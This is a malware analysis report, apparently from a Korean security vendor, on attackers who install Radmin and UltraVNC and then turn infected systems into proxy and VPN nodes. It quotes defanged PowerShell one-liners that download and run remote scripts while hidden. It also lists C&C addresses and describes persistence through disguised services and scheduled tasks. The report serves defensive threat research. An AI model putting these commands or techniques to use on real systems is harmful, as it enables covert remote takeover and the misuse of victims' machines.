Attack Cases in Korea Involving the Installation of Radmin and UltraVNC
The AhnLab SEcurity intelligence Center (ASEC) recently identified attack cases that exploited Radmin and UltraVNC. Although the Initial Intrusion method remains unknown, the attackers installed Radmin—a remote control tool—and then installed UltraVNC. The threat actors exploited the remote control tools to gain control of the infected systems and installed Netch and CCProxy to use the infected systems as proxy nodes. Recently, they have been installing SoftEther VPN to exploit the infected systems as VPN servers.
1. Initial Stage
As of now, it remains unclear how the malware was installed during the Initial Breach. However, it was confirmed that a PowerShell process used the `curl` command to download a compressed file from the following Path:
- Hxxp://103.86.86[.]244:800/Gateway/r.Zip
The compressed file contains a batch script, a REG file, and the Radmin remote control tool. Based on the path names observed in the attack case, it is presumed that the threat actor or the malware extracted the compressed file and executed the “11.Bat” file contained within.
Figure 1. Radmin Installation Script
“11.Bat” installs Radmin in the “C:\Intel\RServer” Path and registers the “install.Reg” configuration file to configure Radmin Server settings—such as the Radmin port number, attacker ID, and other parameters—according to the threat actor’s specifications.
- Threat actor ID: “ruxin”
Figure 2. Radmin settings registered in the registry
2. Radmin
If Radmin is installed on an infected system with the specified settings, the threat actor can control the infected system simply by knowing its IP address. Radmin is remote desktop software that provides remote control and monitoring capabilities; it consists of Radmin Server and Radmin Viewer. A user can install Radmin Server on a target system and use Radmin Viewer to perform System Control. In other words, Radmin Server is installed on the infected system, and as shown below, a threat actor can connect to the infected system’s IP address on the specified port and log in using the ID and password included in the configuration information.
Figure 3. Radmin Viewer, used for System Control of a system with Radmin Server installed
3. UltraVNC
3.1. Installation Script
The threat actor exploited the Radmin Server already installed on the infected system to take control. However, they also used Radmin to install UltraVNC and proxy tools as follows. The PowerShell script executed through the commands below is notable for containing comments in Chinese. The installation script creates the installation folder “C:\Windows\Fonts\web” and attempts to add exception paths for antivirus programs; however, the fact that it uses files that do not actually exist suggests the script may have been generated simply using AI.
> PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/V/deploy.Ps1 | iex”
Figure 4. PowerShell log executed by Radmin
It then downloads UltraVNC-related files from the download server to the installation folder and executes “svchost.Exe.” “Svchost.Exe” is the UltraVNC Installer, which will be discussed in the section below. If the installer fails to install the service, it registers a service named “WpnUserHost” so that the Installer can run as a service. Additionally, it registers a task named “WpnUserHost_MutualWatchdog” to download and execute the “repair.Ps1” file. The following is the content of the configuration file used by the Installer.
Figure 5. Downloaded configuration file
- Installation path: “C:\Windows\Fonts\web”
- UltraVNC configuration file path: “C:\Windows\Fonts\web\web.Ini”
- C&C server: hxxp://tt.Yeyoujs[.]Com:8443
- Malware distribution address: hxxp://103.86.86[.]244:800/C/
- Tunneling address: tt.Yeyoujs[.]Com:9443
3.2. UltraVNC Installer
The Installer was created using PyInstaller and is named “client.” If it is not running as a Service, it is terminated so that the installation script can register it as the “WpnUserHost” Service. If it is already running as a Service, register a task named “WpnUserHost_HourlyWatchdog” to download and execute the “repair.Ps1” file every hour. Once this process is complete, it executes the “agent.Py” file contained within.
The actual functionality is contained in “agent.Py.” It proceeds with additional installation by referencing the “config.Json” configuration file; first, it installs the embedded UltraVNC. Next, add firewall rules, randomly generate a temporary VNC port and password, and write these to the UltraVNC configuration files “web.Ini” and “ultravnc.Ini.”
| URL | Multi-stage |
|---|---|
| /Api/agent/enroll | Device Registration (Receive information such as password and token) |
| /Api/agent/heartbeat | Status Report (Sending information such as VNC port) |
| /Api/agent/password_ack | Confirm Password Application |
Table 1. URL Format Used by the Installer
The Installer connects to the C&C server to send the hostname and machine_id, and receives data such as the device_id, token, and VNC password. It then encrypts the received password and uses it as the VNC password.
Figure 6. Packet Contents During the Registration Process
During the heartbeat process, status information—including the VNC port—is transmitted, and the installer also verifies that the received password has been applied. Initially, variants built with PyInstaller were distributed, but recently, variants built with the Go programming language have been circulating.
Figure 7. Installer built using the Go programming language
3.3. UltraVNC
UltraVNC is software that provides remote screen control, similar to Radmin, which was discussed above. Its source code is open-source, and it is divided into UltraVNC Server and UltraVNC Viewer. In this attack case, the installed component was UltraVNC Server, which is presumed to have been built by the threat actor. The threat actor can then connect to the IP address and VNC port number reported to the C&C server, log in using a password they specified, and remotely control the infected system.
Figure 8. UltraVNC Viewer used for System Control on a system with UltraVNC Server installed
4. Proxy
4.1. Netch-gateway
In addition to UltraVNC, the threat actor also installed a proxy tool believed to have been developed by a developer from China. The attack cases identified in this investigation aim not only to seize control of the infected systems but also to utilize them as proxy servers. By exploiting Radmin, the attacker executed the following PowerShell command as follows: the downloaded PowerShell script first downloads an executable file and a configuration file named “config.Json,” then passes them as arguments and executes them.
> PowerShell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/Gateway/deploy_silent1.Ps1 | iex”
Netch-gateway is a proxy program that supports the SOCKS5, Shadowsocks, and KCP protocols; when run directly, it displays the GUI as follows.
Figure 9. Netch-gateway program
Upon execution, it references the configuration file to connect to the C&C server’s “auto-config” URL to register a node, and then downloads proxy configuration information from the “desired” URL. Although configuration information cannot be downloaded at this time, if the download is successful, it is expected to include the proxy port and access password; threat actors could subsequently use the infected system as a proxy node to carry out malicious activities.
| URL | Multi-stage |
|---|---|
| /Internal/shadowsocks/auto-config | Initial Connection (Node Registration) |
| /Internal/shadowsocks/nodes/<node_id>/desired | Download Proxy Settings |
| /Internal/shadowsocks/nodes/<node_id>/config-version | Check Configuration Version |
| /Internal/shadowsocks/nodes/<node_id>/heartbeat | Status Report |
Table 3. URL Format Used by Netch-gateway
Figure 10. Communication packets with the configuration address
4.2. CCProxy
Initially, the threat actor used CCProxy, which is a tool that supports various proxy functions such as HTTP, HTTPS, SOCKS, and FTP. The dropper, created as a WinRAR SFX file, contains an installation script, registry files, and CCProxy. The contents of the configuration file, “CCProxy.Ini,” show that it enables a SOCKS proxy through port 49661.
Figure 11. CCProxy Installer
4.3. SoftEther VPN
Recently, instances of SoftEther VPN installation have been identified. The dropper, in the form of a WinRAR SFX file, contains a batch installation script named “a.Bat,” “svchost.Exe” (which is actually SoftEther VPN disguised as a legitimate Microsoft program), and a configuration file named “vpn_server.Config.” When executed, it installs SoftEther VPN. Consequently, threat actors can exploit the infected system as a VPN server.
Figure 12. SoftEther VPN installation script
5. Threat Actor Information
The initial intrusion method and threat actor information have not yet been confirmed. However, given that the script used in the attack contains Chinese comment strings, the tools used are familiar to Chinese speakers, and the configuration information is in Chinese, it is possible that the threat actor is a Chinese speaker.
Figure 13. Script containing comments in Chinese
Furthermore, the addresses specified in the Netch-gateway program’s configuration file—which are used to connect to and register nodes, as well as to download proxy configuration information—display a Chinese-language proxy service page when accessed via a web browser.
6. Conclusion
Recently, attack cases targeting Korean users to install remote control tools such as Radmin and Ultra VNC have been identified. The threat actor exploited the installed remote control tools to gain control over the infected systems and subsequently installed multiple proxy tools and a SoftEther VPN server. If exposed to such attacks, sensitive information stored on the system may be stolen, and the system may be misused as a proxy or VPN server. Users should exercise extreme caution with executable files from unknown sources and ensure they update V3 to the latest version to proactively block Malware infections.
Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click the banner below.
